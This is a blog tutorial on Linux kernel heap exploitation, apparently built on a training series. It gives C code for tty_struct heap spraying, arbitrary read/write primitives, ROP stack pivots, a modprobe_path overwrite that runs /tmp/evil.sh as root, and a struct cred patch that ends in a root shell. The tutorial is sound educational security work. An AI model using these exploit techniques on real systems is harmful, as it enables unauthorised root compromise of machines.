santaclz's blog

Linux Kernel Exploitation: Heap techniques

20 Jan 2024


Table of contents




Prerequisite knowledge

Welcome to the second part of Linux Kernel Exploitation blog posts. If you haven’t seen the previous one where we explore setup and buffer overflow exploit, you can check out the first part here.

What will this post cover?

We will be exploring Linux kernel heap exploitation. How to write exploits utilizing heap bugs? What are the different ways of getting root privileges? We will cover topics like: heap spraying, modprobe, crafting arbitrary read / write primitives etc. This post is heavily influenced by https://pawnyable.cafe/ and code examples are taken from exploits I wrote following this series.

Heap Allocators

The Linux kernel can use one of these allocators: SLOB, SLUB or SLAB. Different Linux distributions use different allocators.

  • SLOB is usually used in embedded systems
  • SLUB is used most commonly today, intended for larger systems
  • SLAB is the oldest allocator, used in Solaris

To read more about Linux kernel memory allocators you can check out this post by sam4k.

Heap spraying

Heap spraying is a technique which involves spawning specially selected object onto the heap with the goal of utilizing that object to create a primitive (arbitrary read / write, RIP control etc.).

Heap spraying is used to exploit bugs like heap overflow and use-after-free.

Each object can be used to achieve different goals depending on what types of variables it contains. For example object tty_struct can be used to gain control over RIP. How? By overwriting its member *ops which is a pointer to function table. If we craft our own function table and we point *ops to it we can gain control of program execution.

Let’s take a look at code snippets to better understand what am I talking about :)

Every heap spray involves calling some function in a loop which spawns the specific object in memory multiple times. In this case calling open() on /dev/ptmx spawns tty_struct object on the heap. By doing this we hope that one of the objects ends up on the place that the bug allows us to write to.

// Heap spray
int spray[100];
for (int i = 0; i < 100; i++) {
    spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
}

Next using the bug we overwrite the *ops member of the tty_struct.

char buf[0x500];
...
// Let p be a pointer to fake function table
long long* p = (long long*)&buf;

// We identified that the function that gets called is 12th element in the function table
p[12] = 0x4141414141414141;

// Location of *ops at 0x418
*(long long*)&buf[0x418] = address_of_buf_in_memory;
write(fd, buf, 0x500);

Now the last step is to trigger the code that executes the faked function. This can be achieved by calling ioctl() on the /dev/ptmx handle.

for (int i = 0; i < 100; i++) {
    ioctl(spray[i], rcx, rdx);
}

This approach enables us to also pass values into rcx and rdx registers before jumping to our arbitrary address 0x4141414141414141.

Crafting other primitives

This way we can call any function we want but it can also be used to craft AAR (Arbitrary Address Read) and AAW (Arbitrary Address Write) primitive. By finding ROP gadgets that use rcx and rdx registers to write to memory.

Below is an example of arbitrary write for 32 bits (4 bytes).

void AAW32(long long addr, unsigned int val) {
    long long* p = (long long*)&buf;
    // mov dword ptr [rdx], ecx ; ret
    p[12] = 0xffffffff8101083d;

    *(long long*)&buf[0x418] = g_buf;
    write(fd, buf, 0x500);

    for (int i = 0; i < 100; i++) {
        ioctl(spray[i], val, addr);
    }
}

This function can be called as many times as we need to overwrite anything in kernel-space memory.

The same approach can be used to achieve AAR. Because accessing memory takes more time and we would use this function multiple times (for scanning memory space) we can cache file descriptor to speed things up.

int cached_fd = -1;
unsigned int AAR32(long long addr) {
    if (cached_fd == -1) {
        long long* p = (long long*)&buf;
        // mov eax, dword ptr [rdx] ; ret 
        p[12] = 0xffffffff8118a285;

        *(long long*)&buf[0x418] = g_buf;
        write(fd, buf, 0x500);

        for (int i = 0; i < 100; i++) {
            int v = ioctl(spray[i], 0, addr);
            if (v != -1) {
                cached_fd = spray[i];
                return v;
            }
        }
    } else {
        ioctl(cached_fd, 0, addr);
    }
}

I have AAW / AAR primitives, now what?

There is more ways to get root shell such as crafting ROP chain and jumping to it, using modprobe, patching struct cred in memory etc.

Jumping to ROP chain

This technique involves finding a gadget that allows us to write to register rsp and then executing ret to pivot to our ROP chain.

These are the steps for this technique:

  1. Craft ROP chain in kernel memory
  2. Obtain start address of our ROP chain in kernel
  3. Find a pivot gadget that ultimatively does mov rsp rcx/rdx; ret;. Remember we can control rcx and rdx through ioctl() call. Usually there is no such straightforward gadget present so we have to use more complex gadgets like
    push rdx
    xor eax, 0x415b004f
    pop rsp
    pop rbp
    ret
    

    that have the same effect.

  4. Overwrite function table as shown before so it executes the pivot gadget
  5. Call ioctl() to trigger the jump

Congratulations! You are now executing your ROP chain in kernel by abusing a heap bug!

Modprobe

This technique involves overwriting modprobe_path and calling modprobe program.

Modprobe is a userspace program that is run when we execute a binary that has invalid magic bytes. For example executing ELF file that starts with bytes XXXX will trigger modprobe. It is implemented in the kernel because it tries to load appropriate kernel modules for specific file types. The kernel stores path to Modprobe in modprobe_path variable which will be our target to overwrite. By default it points to /usr/bin/modprobe but we can make it point to our arbitrary file /tmp/evil.sh.

Steps for this technique:

  1. Craft AAW primitive
  2. Overwrite modprobe_path
    #define MODPROBE_PATH 0xffffffff81e38180
    ...
    // Overwrite modprobe_path
    char cmd[] = "/tmp/evil.sh";
    for (int i = 0; i < sizeof(cmd); i++) {
     AAW32(MODPROBE_PATH + i, *(unsigned int*)&cmd[i]);
    }
    
  3. Prepare binary to be executed instead of modprobe
    // Prepare modprobe binary
    system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
    system("chmod +x /tmp/evil.sh");
    
  4. Prepare binary with invalid magic bytes that will trigger modprobe
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    
  5. Execute the binary and evil.sh will be run as root!
    system("/tmp/pwn"); // modprobe_path
    

Patching struct cred

This last method is my favourite because its not relying on any calls to functions but is directly changing the bytes that are important to become root.

The idea behind this technique is to change the current->cred struct of the current process so the process promotes its privileges.

Steps are the following:

  1. In Linux using function prctl() you can set the threads name
    // Set thread name
    if (prctl(PR_SET_NAME, "nekomaru") != 0) {
     perror("prctl");
    }
    
  2. Since this name is tied to a struct that has process info we can scan the heap memory to search for the string “nekomaru”
    // Search thread name in memory
    long long addr;
    for (addr = g_buf - 0x1000000; ; addr += 0x8) { // g_buf is an address on the heap
     if ((addr & 0xfffff) == 0) {
         printf("searching... 0x%llx\n", addr);
     }
     if (AAR32(addr) == 0x6f6b656e && AAR32(addr+4) == 0x7572616d) {
         printf("[+] Found 'comm' at 0x%llx\n", addr);
         break;
     }
    }
    

    The address we leak from here is comm member of the task_struct which holds the process information. Few bytes above comm member is an address to cred structure.

  3. Leak the cred structure that is above comm member
    long long addr_cred = 0;
    addr_cred |= AAR32(addr - 8);
    addr_cred |= (long long)AAR32(addr - 4) << 32;
    printf("[+] current->cred = 0x%llx\n", addr_cred);
    
  4. Overwrite all uid and gid fields to 0
    for (int i = 1; i < 9; i++) {
     AAW32(addr_cred + i*4, 0);
    }
    
  5. At this point the process is promoted to root. What’s left is to spawn a shell.
    system("/bin/sh");
    

References

https://pawnyable.cafe/linux-kernel/

https://sam4k.com/like-techniques-modprobe_path/

https://sam4k.com/linternals-memory-allocators-0x02/

https://h0mbre.github.io/PAWNYABLE_UAF_Walkthrough/

https://github.com/smallkirby/kernelpwn/tree/master/technique

https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628

https://man7.org/linux/man-pages/man2/prctl.2.html